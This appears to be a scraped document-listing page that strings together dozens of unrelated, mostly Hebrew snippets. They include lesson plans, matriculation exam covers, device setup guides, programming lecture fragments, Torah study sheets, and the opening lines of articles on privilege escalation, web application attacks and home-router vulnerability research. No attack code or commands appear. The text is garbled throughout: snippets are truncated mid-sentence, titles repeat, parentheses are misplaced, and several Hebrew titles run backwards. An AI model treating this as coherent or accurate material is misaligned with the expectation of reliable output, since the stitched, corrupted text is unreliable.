Apple, keys, pen, pencils, pencilbox,(toy)elephant,( toy) boy, (toy) girl, ball PRONOUNS: טריגר/ משחק פתיחה- המורה תביא לכיתה חפצים שונים ותראה אותם לכמה שניות לתלמידים ותכסה את החפצים. המורה תבקש מהתלמידים לשחזר את החפצים על פי זיכרון ותרשום את שמם על הלוח )מה שלא זכרו אח"כ המורה

More information

מדריך שימוש בדואר האלקטרוני

מדריך שימוש בדואר האלקטרוני מדריך שימוש בדואר האלקטרוני Live@Edu UserName@Campus.haifa.ac.il תוכן עניינים א. מבוא... 2 מהי מערכת? Live@edu... 2 קבלת פרטי כתובת הדואר האלקטרוני:... 2 ב. כניסה ראשונית לחשבון הדואר האלקטרוני... 2 השלמת

More information

פקס בחיבור המכשיר המשולב לפקס יש לעבור על השלבים הבאים: - חבר את כבל הטלפון לחיבור ה- LINE בגב המדפסת ואת צידו השני לשקע הטלפון בקיר.

פקס בחיבור המכשיר המשולב לפקס יש לעבור על השלבים הבאים: - חבר את כבל הטלפון לחיבור ה- LINE בגב המדפסת ואת צידו השני לשקע הטלפון בקיר. פקס בחיבור המכשיר המשולב לפקס יש לעבור על השלבים הבאים: חבר את כבל הטלפון לחיבור ה LINE בגב המדפסת ואת צידו השני לשקע הטלפון בקיר שקע LINE שקע טלפון בקיר במידה ויש בנקודה הנוכחית טלפון נוסף, יש באפשרותך

More information

פרוטוקול HTTP הפונקציה header שליחת מידע דחוס. עבודה עם cookies Haim Michael. All Rights Reserved.

פרוטוקול HTTP הפונקציה header שליחת מידע דחוס. עבודה עם cookies Haim Michael. All Rights Reserved. 1 ה- Headers HTTP פרוטוקול HTTP הפונקציה header שליחת מידע דחוס ה- Cashing Browser עבודה עם cookies 2 פרוטוקול HTTP כאשר הדפדפן מקבל קובץ משרת זה מתרחש בהמשך לבקשה לקבלת הקובץ אשר נשלחת מהדפדפן לשרת. בקשה

More information

Privilege Escalation

Privilege Escalation מאת אפיק קסטיאל )cp77fk4r( הקדמה קיימות בשוק מספר רב של מערכות הפעלה. רובן שונות זו מזו באופן מימושן, אך לרב תצורתן הבסיסית - כולן מדובר זהה. פשוט בהגיון בסופו של דבר אמורות לבצע את אותן המטלות. כי ברור

More information

מדריך למשתמש התקנה עצמית

מדריך למשתמש התקנה עצמית 225 מדריך למשתמש התקנה עצמית תכולת הערכה 1 1 מחבר חשמלי 1 כבל DSL 1 כבל רשת * הטקסט בחוברת מנוסח בלשון זכר, אך פונה לשני המינים. שלב א' חיבור לחשמל וחיווי נוריות 2 חיבור לחשמל חבר את כבל החשמל אל שקע ה-

More information

חטיבת הביניים "יונתן" עבודה לקיץ באנגלית לבוגרי כיתה עבודה נעימה!

חטיבת הביניים יונתן עבודה לקיץ באנגלית לבוגרי כיתה עבודה נעימה! חטיבת הביניים "יונתן" עבודה לקיץ באנגלית לבוגרי כיתה העולים לכיתה ח' הקבצה א' ז' עבודה נעימה! Booklet For the 7th Grade בוגרי כיתות ז' יקרים, חוברת הקיץ שלפניכם הינה חזרה על אוצר מילים ועל המבנים הדקדוקיים

More information

NATIONAL COUNCIL OF YOUNG ISRAEL. Shavuot Nation JEWISH EDITION. Compiled by Gabi Weinberg Teen Program Director

NATIONAL COUNCIL OF YOUNG ISRAEL. Shavuot Nation JEWISH EDITION. Compiled by Gabi Weinberg Teen Program Director NATIONAL COUNCIL OF YOUNG ISRAEL Shavuot Nation JEWISH EDITION Compiled by Gabi Weinberg Teen Program Director Just Dress? Or is Tzniut something more? By Jacob and Penina Bernstein, Youth Directors at

More information

בוחן בתכנות בשפת C בצלחה

בוחן בתכנות בשפת C בצלחה בוחן בתכנות בשפת C ) כתוב תכנית הקולטת ממשתמש מספרים שלמים ומדפיסה כמה מספרים היו גדולים מ-, כמה מספרים היו קטנים מ-, וכמה מספרים היו שווים ל-. 2) כתוב תכנית הקלטת עשרה מספרים טבעיים ומחשבת את הממוצע שלהם.

More information

אנגלית (MODULE E) בהצלחה!

אנגלית (MODULE E) בהצלחה! 3 בגרות סוג הבחינה: מדינת ישראל חורף תשע"ט, 2019 מועד הבחינה: משרד החינוך 016481 מספר השאלון: א. משך הבחינה: שעה ורבע אנגלית שאלון ה' (MODULE E) ג רסה א' הוראות לנבחן מבנה השאלון ומפתח ההערכה: בשאלון זה

More information

מספר השאלון: Thinking Skills נספח: כישורי חשיבה )לפרק ראשון ושני( א נ ג ל י ת (MODULE F) ספרות )מילון הראפס אנגלי-אנגלי-ערבי(

מספר השאלון: Thinking Skills נספח: כישורי חשיבה )לפרק ראשון ושני( א נ ג ל י ת (MODULE F) ספרות )מילון הראפס אנגלי-אנגלי-ערבי( בגרות לבתי ספר על יסודיים סוג הבחינה: מדינת ישראל קיץ תשע"א, 2011 מועד הבחינה: משרד החינוך 016117 מספר השאלון: Thinking Skills נספח: כישורי חשיבה )לפרק ראשון ושני( א נ ג ל י ת א. משך הבחינה: שעה וחצי שאלון

More information

Advisor Copy. Welcome the NCSYers to your session. Feel free to try a quick icebreaker to learn their names.

Advisor Copy. Welcome the NCSYers to your session. Feel free to try a quick icebreaker to learn their names. Advisor Copy Before we begin, I would like to highlight a few points: Goal: 1. It is VERY IMPORTANT for you as an educator to put your effort in and prepare this session well. If you don t prepare, it

More information

The Connection between Town Planning, Public Taking (Appropriation) and Land Appraisal

The Connection between Town Planning, Public Taking (Appropriation) and Land Appraisal The Connection between Town Planning, Public Taking (Appropriation) and Land Appraisal Adv. Shahar HARARI, Israel Key words: Town Planning, Appropriation, Appraisal SUMMARY It seems illogical that the

More information

אתרים כיום חייבים להיות נגישים יום ולילה מכל מקום בעולם, על כן אפליקציות web שאינן בטוחות חושפות פתח להתקפות על בסיס הנתונים שמקושר לאתר.

אתרים כיום חייבים להיות נגישים יום ולילה מכל מקום בעולם, על כן אפליקציות web שאינן בטוחות חושפות פתח להתקפות על בסיס הנתונים שמקושר לאתר. מבוא קיימת נטייה, אשר הולכת וגוברת, לנהל מידע ועסקים בצורה אלקטרונית בעזרת רשת האינטרנט. נטייה זו דוחפת אימוץ של שימוש בטכנולוגיות מבוססות.web קיים מגוון רחב של אפליקציות web כדוגמת: עגלת קניות, מילויי

More information

נספח: כישורי חשיבה )לפרק ראשון ושני( אנגלית (MODULE F) ספרות או: מילון אנגלי-ערבי / ערבי-אנגלי או: מילון אנגלי-אנגלי-ערבי

נספח: כישורי חשיבה )לפרק ראשון ושני( אנגלית (MODULE F) ספרות או: מילון אנגלי-ערבי / ערבי-אנגלי או: מילון אנגלי-אנגלי-ערבי בגרות לבתי ספר על יסודיים א. סוג הבחינה: מדינת ישראל בגרות לנבחני משנה ב. משרד החינוך בגרות לנבחנים אקסטרניים ג. קיץ תשע"ד, מועד ב, 2014 מועד הבחינה: מספר השאלון: 416 016117, Thinking Skills נספח: כישורי

More information

דיאלוג מומחז בין מרטין בובר וקרל רוג'רס

דיאלוג מומחז בין מרטין בובר וקרל רוג'רס אני ואתה: בובר ורוג'רס תרגום ועיבוד: זמירה הייזנר Translated and adapted from The Martin Buber Carl Rogers Dialogue: A New Transcript with Commentary by Rob Anderson and Kenneth N. Cissna, published by

More information

מכונת מצבים סופית תרגול מס' 4. Moshe Malka & Ben lee Volk

מכונת מצבים סופית תרגול מס' 4. Moshe Malka & Ben lee Volk מכונת מצבים סופית תרגול מס' 4 1 מכונת מצבים סופית Finite State Machine (FSM) מודל למערכת ספרתית מכונת מצבים סופית: קלט: סדרה אינסופית של אותיות...,I3,I1,I2 בא"ב input out פלט: סדרה אינסופית של אותיות O

More information

כ"ג אלול תשע"ו - 26 ספטמבר, 2016 Skills Worksheet #2

כג אלול תשעו - 26 ספטמבר, 2016 Skills Worksheet #2 קריאה #1: Skill בראשית פרק כג #2 Chumash Skills Sheet Assignment: Each member of your חברותא should practice reading the פרק to each other. Make sure you are paying attention to each other, noticing and

More information

תכנית סטארט עמותת יכולות, בשיתוף משרד החינוך א נ ג ל י ת שאלון א' Corresponds with Module A (Without Access to Information from Spoken Texts) גרסה א'

תכנית סטארט עמותת יכולות, בשיתוף משרד החינוך א נ ג ל י ת שאלון א' Corresponds with Module A (Without Access to Information from Spoken Texts) גרסה א' תכנית סטארט עמותת יכולות, בשיתוף משרד החינוך מקום להדבקת מדבקת נבחן א נ ג ל י ת סוג בחינה: מועד הבחינה: מספר השאלון: מבחן מטה לבתי ספר תיכוניים חורף תשע"ד 29.01.2014 מותאם לשאלון א' של בחינת הבגרות שסמלו

More information

3. class attr_accessor def end 9. end puts "

3. class attr_accessor def end 9. end puts 1. #!/usr/bin/env ruby 2. 3. class Ruby 4. attr_accessor :programming_language 5. 6. def to_s 7. @programming_language 8. 9. 10. 11. rb = Ruby.new 12. rb.programming_language = "ruby" 13. 14. puts rb.to_s

More information

Chofshi.

Chofshi. Chofshi Chofshi For most Western democracies, the concept of freedom is central. One just needs to look at the anthems that inspire its citizenry to capture this point. From America s Star Spangled Banner,

More information

"כמה גרוע זה כבר יכול להיות" - מחקר חולשות על נתב ביתי

כמה גרוע זה כבר יכול להיות - מחקר חולשות על נתב ביתי כבר יכול להיות" - מחקר חולשות על נתב ביתי מאת 0x3d5157636b525761 הקדמה במאמר זה אחשוף מחקר עצמאי אשר ביצעתי ובמסגרתו מצאתי מספר חולשות הרצת קוד על ראוטר.Netgear DGN2200 נתבים אלו נפוצים במיוחד בארץ עקב

More information

מנדליי הינה תוכנה חינמית המיועדת לעזור בניהול, שיתוף, קריאה, הוספת הערות וציטוט של מאמרים. בנוסף מתפקדת גם כרשת חברתית של אנשי אקדמיה ומחקר.

מנדליי הינה תוכנה חינמית המיועדת לעזור בניהול, שיתוף, קריאה, הוספת הערות וציטוט של מאמרים. בנוסף מתפקדת גם כרשת חברתית של אנשי אקדמיה ומחקר. מנדליי הינה תוכנה חינמית המיועדת לעזור בניהול, שיתוף, קריאה, הוספת הערות וציטוט של מאמרים. בנוסף מתפקדת גם כרשת חברתית של אנשי אקדמיה ומחקר. רשת זו מטרתה שיתוף, גילוי טרנדים וסטטיסטיקות וחיבור לחוקרים

More information

Theories of Justice

Theories of Justice Syllabus Theories of Justice - 56981 Last update 06-08-2014 HU Credits: 2 Degree/Cycle: 1st degree (Bachelor) Responsible Department: political Science Academic year: 2 Semester: 2nd Semester Teaching

More information

נספח: כישורי חשיבה )לפרק ראשון ושני( אנגלית (MODULE D) ספרות או מילון אנגלי-עברי-עברי-אנגלי

נספח: כישורי חשיבה )לפרק ראשון ושני( אנגלית (MODULE D) ספרות או מילון אנגלי-עברי-עברי-אנגלי בגרות לבתי ספר על יסודיים סוג הבחינה: מדינת ישראל קיץ תשע"ג, 2013 מועד הבחינה: משרד החינוך מספר השאלון: 016115 Thinking Skills נספח: כישורי חשיבה )לפרק ראשון ושני( אנגלית שאלון ד' (MODULE D) א. משך הבחינה:

More information

הטכנולוגיה בחינוך ד ר קובי גל אוניברסיטת בן גוריון בנגב

הטכנולוגיה בחינוך ד ר קובי גל אוניברסיטת בן גוריון בנגב בינה מלאכותית ומהפיכת הטכנולוגיה בחינוך ד ר קובי גל אוניברסיטת בן גוריון בנגב מעבדות -אתמול ד"ר קובי גל מעבדות -היום ד"ר קובי גל למידה בקבוצות -אתמול ד"ר קובי גל למידה בקבוצות -היום ד"ר קובי גל הזדמנות

More information

תורשכ ירפס לכ ץבוק " ב י קלח יללכ רעש

תורשכ ירפס לכ ץבוק  ב י קלח יללכ רעש בס"ד קובץ כל ספרי כשרות י"ב חלק שער כללי הו"ל בחמלת ה' עלי בזכות אבותי ורבותי הקדושים זי"ע הק' שלום יהודה גראס, אבדק"ק האלמין יצ "ו חלק י "ב 4 ספרים ספר א': הפקעת שערים חלק א': קול קורא'ס שיצאו לאור נגד

More information

FULL ARTICLE ACTIVE DIRECTORY

FULL ARTICLE ACTIVE DIRECTORY FULL ARTICLE ACTIVE DIRECTORY מאמר זה מכיל מידע חיוני על,Active Directory המאמר יעודכן אחת לתקופה לכן תוכלו לעקוב אחר שינויים אצלי בבלוג. אני ממליץ להדפיס את המאמר, ללמוד, לתרגל, וכמובן אם ישנן שאלות אני

More information

הצגת המשחק תלמידים משחקים סיום. פתיחה 12 min. min. min. min פתיחה. Copyright 2015

הצגת המשחק תלמידים משחקים סיום. פתיחה 12 min. min. min. min פתיחה. Copyright 2015 1 U n t er r ich t splan חיבור וחיסור זוויות :Altersgruppe כיתה ד, כיתה ה :Online-Ressourcen מכל זווית אפשרית פתיחה הצגת המשחק תלמידים משחקים סיום 1 min 20 min 1 2 min 1 2 min מטרות לימודיות להתנסות במודל

More information

Yetzer Shalom: Inclinations of Peace

Yetzer Shalom: Inclinations of Peace Yetzer Shalom: Inclinations of Peace by Rabbi Eh'bed Baw'naw (Christopher Fredrickson) 1 Introduction January 9 th of 2013 started my journey in a new facet of my faith. Being a Torah observant believer

More information

א נ ג ל י ת בהצלחה! ב. משרד החינוך בגרות לנבחנים אקסטרניים )מילון הראפס אנגלי-אנגלי-ערבי( השימוש במילון אחר טעון אישור הפיקוח על הוראת האנגלית.

א נ ג ל י ת בהצלחה! ב. משרד החינוך בגרות לנבחנים אקסטרניים )מילון הראפס אנגלי-אנגלי-ערבי( השימוש במילון אחר טעון אישור הפיקוח על הוראת האנגלית. בגרות לבתי ספר על יסודיים א. סוג הבחינה: מדינת ישראל בגרות לנבחני משנה ב. משרד החינוך בגרות לנבחנים אקסטרניים ג. א. משך הבחינה: שעה ורבע מועד הבחינה: חורף תשס"ז, 2007 מספר השאלון: 406 016107, א נ ג ל י

More information

אנגלית שאלון ז' ג רסה א' הוראות לנבחן בהצלחה! )4( ההנחיות בשאלון זה מנוסחות בלשון זכר ומכוונות לנבחנות ולנבחנים כאחד. (MODULE G)

אנגלית שאלון ז' ג רסה א' הוראות לנבחן בהצלחה! )4( ההנחיות בשאלון זה מנוסחות בלשון זכר ומכוונות לנבחנות ולנבחנים כאחד. (MODULE G) 3 בגרות סוג הבחינה: מדינת ישראל חורף תשע"ט, 2019 מועד הבחינה: משרד החינוך 016582 מספר השאלון: א. משך הבחינה: שעה וארבעים וחמש דקות אנגלית שאלון ז' (MODULE G) ג רסה א' הוראות לנבחן מבנה השאלון ומפתח ההערכה:

More information

FAIL CONFR URE ONTING

FAIL CONFR URE ONTING CONFRONTING FAILURE Setting the Stage Harry Potter Author Addresses Harvard Class of 2008 Ihave wracked my mind and heart for what I ought to say to you today. I have asked myself what I wish I had known

More information

נספח: כישורי חשיבה )לפרק ראשון ושני( אנגלית (MODULE D) ספרות מילון אנגלי-אנגלי-עברי או מילון אנגלי-עברי-עברי-אנגלי

נספח: כישורי חשיבה )לפרק ראשון ושני( אנגלית (MODULE D) ספרות מילון אנגלי-אנגלי-עברי או מילון אנגלי-עברי-עברי-אנגלי בגרות לבתי ספר על יסודיים סוג הבחינה: מדינת ישראל קיץ תשע"ב, מועד ב מועד הבחינה: משרד החינוך מספר השאלון: 016115 Thinking Skills נספח: כישורי חשיבה )לפרק ראשון ושני( אנגלית שאלון ד' (MODULE D) א. משך הבחינה:

More information

SEEDS OF GREATNESS MINING THROUGH THE STORY OF MOSHE S CHILDHOOD

SEEDS OF GREATNESS MINING THROUGH THE STORY OF MOSHE S CHILDHOOD Anatomy ofa l eader: them oshestory SEEDS OF GREATNESS MINING THROUGH THE STORY OF MOSHE S CHILDHOOD FOR LESSONS IN LEADERSHIP ש מ ות EXODUS CHAPTER 2 א ו י ל ך א י ש, מ ב ית ל ו י; ו י ק ח, א ת-ב ת-ל

More information

Parallel Processing. Administration. Dr. Guy Tel-Zur.

Parallel Processing. Administration. Dr. Guy Tel-Zur. Parallel Processing Administration Dr. Guy Tel-Zur guycomputing@gmail.com Introduction to Parallel Processing October 2005, Lecture #1 The Road to Parallel Processing Credit: National Geographic. BEST

More information

הקיטסיגול הרבחה יעדמל בלושמה גוחה

הקיטסיגול הרבחה יעדמל בלושמה גוחה ניהול מערכות תובלה ושינוע זרימה ברשת עץ פורס מינימאלי Minimal Spanning Tree הבעיה: מציאת חיבור בין כל קודקודי גרף במינימום עלות שימושים: פריסת תשתית אלגוריתם חמדן (Greedy) Kruskal(1956) Prim(1957) השוואה

More information

ראש השנה דף. a) the עדים that come first are examined first. b) the גדול שבהן are examined first.

ראש השנה דף. a) the עדים that come first are examined first. b) the גדול שבהן are examined first. Name Email or Phone # (needed on 1 st page only) Page 1 of 5?בחינה times 1 st :דף of the חזרה (גמרא (if no indication, we ll assume Open גמרא Place an X if Closed.בל'נ marked, using the contact info above

More information

בהצלחה! (MODULE C) Hoffman, Y. (2014). The Universal English-Hebrew, Hebrew-English Dictionary

בהצלחה! (MODULE C) Hoffman, Y. (2014). The Universal English-Hebrew, Hebrew-English Dictionary בגרות סוג הבחינה: מדינת ישראל קיץ תשע"ז, 2017, מועד ב מועד הבחינה: משרד החינוך 403 016104, מספר השאלון: אנגלית שאלון ג' (MODULE C) ג רסה א' הוראות לנבחן א. משך הבחינה: שעה וחצי ב. מבנה השאלון ומפתח ההערכה:

More information

מודל מעבד-זיכרון רוחב הקו בביטים בין המשתנה למעבד ב- PDP כיווני העברת המידע במודל מעבד-זיכרון SFS CPU MDR MEM MAR

מודל מעבד-זיכרון רוחב הקו בביטים בין המשתנה למעבד ב- PDP כיווני העברת המידע במודל מעבד-זיכרון SFS CPU MDR MEM MAR עמוד 1 מתוך 25 :SFS משתנה המציין את הפעולה שרוצים לבצע. ערכים: 00 כתיבה (store) 01 קריאה (fetch) 10 הפקודה בוצעה 11 תקלה מודל מעבדזיכרון,(store זהו המקום שהמעבד רושם בו את התוכן שהוא רוצה להכניס לזיכרון

More information

ASTM UL / FM / BS abesco

ASTM UL / FM / BS abesco 7 ASTM UL / FM / BS 93 - 4 5 6 7 8 9 0 3 4 5 6-8 9 - CP - 30 0 MORTAR FR INSERTS OR PUTTY PADS FOR ELECTRICAL BOXES * ** 0 mineral wool + Acrilic sealant FIRECLAMP A FIRECLAMP A or CP - 30 Acrilic sealant

More information

מבוא לרשתות - תרגול מס' 11 Transparent Bridges

מבוא לרשתות - תרגול מס' 11 Transparent Bridges מבוא לרשתות - תרגול מס' 11 Transparent Bridges גשרים: מוטיבציה המטרה: חיבור של כמה רשתות מקומיות ) LAN -ים( לרשת מורחבת אחת על מנת לאפשר תקשורת בין מחשבים שאינם מחוברים לאותה רשת מקומית.?)ports עם מס'

More information

אנגלית ספרות בהצלחה! /המשך מעבר לדף/ נספח: כישורי חשיבה )לפרק ראשון ושני( או: מילון אנגלי-ערבי / ערבי-אנגלי או: מילון אנגלי-אנגלי-ערבי

אנגלית ספרות בהצלחה! /המשך מעבר לדף/ נספח: כישורי חשיבה )לפרק ראשון ושני( או: מילון אנגלי-ערבי / ערבי-אנגלי או: מילון אנגלי-אנגלי-ערבי בגרות לבתי ספר על יסודיים א. סוג הבחינה: מדינת ישראל בגרות לנבחני משנה ב. משרד החינוך בגרות לנבחנים אקסטרניים ג. קיץ תשע"ד, מועד ב, 2014 מועד הבחינה: מספר השאלון: 414 016115, Thinking Skills נספח: כישורי

More information

ãówh,é ËÓÉÔê ÌW W É Å t" Y w f É ËÓÉÑ É èw É f Ñ u ð NNM YóQ' ÌW W É Y ÉgO d óqk É w f ym Éd É u ð NNM ÌWNQMH uqo ð NNM ÌWNQMH

ãówh,é ËÓÉÔê ÌW W É Å t Y w f É ËÓÉÑ É èw É f Ñ u ð NNM YóQ' ÌW W É Y ÉgO d óqk É w f ym Éd É u ð NNM ÌWNQMH uqo ð NNM ÌWNQMH * .1.2.3 (X).1.2.3.4.5.6 בגרות לבתי ספר על יסודיים סוג הבחינה: מדינת ישראל חורף תשע"ג, 2013 מועד הבחינה: משרד החינוך מספר השאלון: 016117 Thinking Skills נספח: כישורי חשיבה )לפרק ראשון ושני( אנגלית שאלון

More information

נספח: כישורי חשיבה )לפרק ראשון ושני( אנגלית (MODULE F) ספרות מילון אנגלי-אנגלי-עברי או מילון אנגלי-עברי-עברי-אנגלי

נספח: כישורי חשיבה )לפרק ראשון ושני( אנגלית (MODULE F) ספרות מילון אנגלי-אנגלי-עברי או מילון אנגלי-עברי-עברי-אנגלי בגרות לבתי ספר על יסודיים סוג הבחינה: מדינת ישראל קיץ תשע"ב, מועד ב מועד הבחינה: משרד החינוך מספר השאלון: 016117 Thinking Skills נספח: כישורי חשיבה )לפרק ראשון ושני( א. משך הבחינה: שעה וחצי אנגלית שאלון

More information

The Benefits of Being Stiff-Necked. Rabbi Noah Gradofsky

The Benefits of Being Stiff-Necked. Rabbi Noah Gradofsky The Benefits of Being Stiff-Necked (sermon) for Second Day of Rosh Hashanah 5779/2018 דבר תורה Rabbi Noah Gradofsky Grey material omitted from spoken presentation. otherwise noted. All translations my

More information

הבינגמה הדובע תביבסב תונכתל ריהמ ךירדמ

הבינגמה הדובע תביבסב תונכתל ריהמ ךירדמ 1 מדריך מהיר לתכנות בסביבת עבודה המגניבה Borland C++ builder מדריך זה נועד לאנשים שכבר יודעים לתכנת ב ++C אין כאן שום כוונה ללמד את השפה או להכין מטעמים מחרקים לשם כך יש אלפי מדריכים אחרים ברשת. המדריך

More information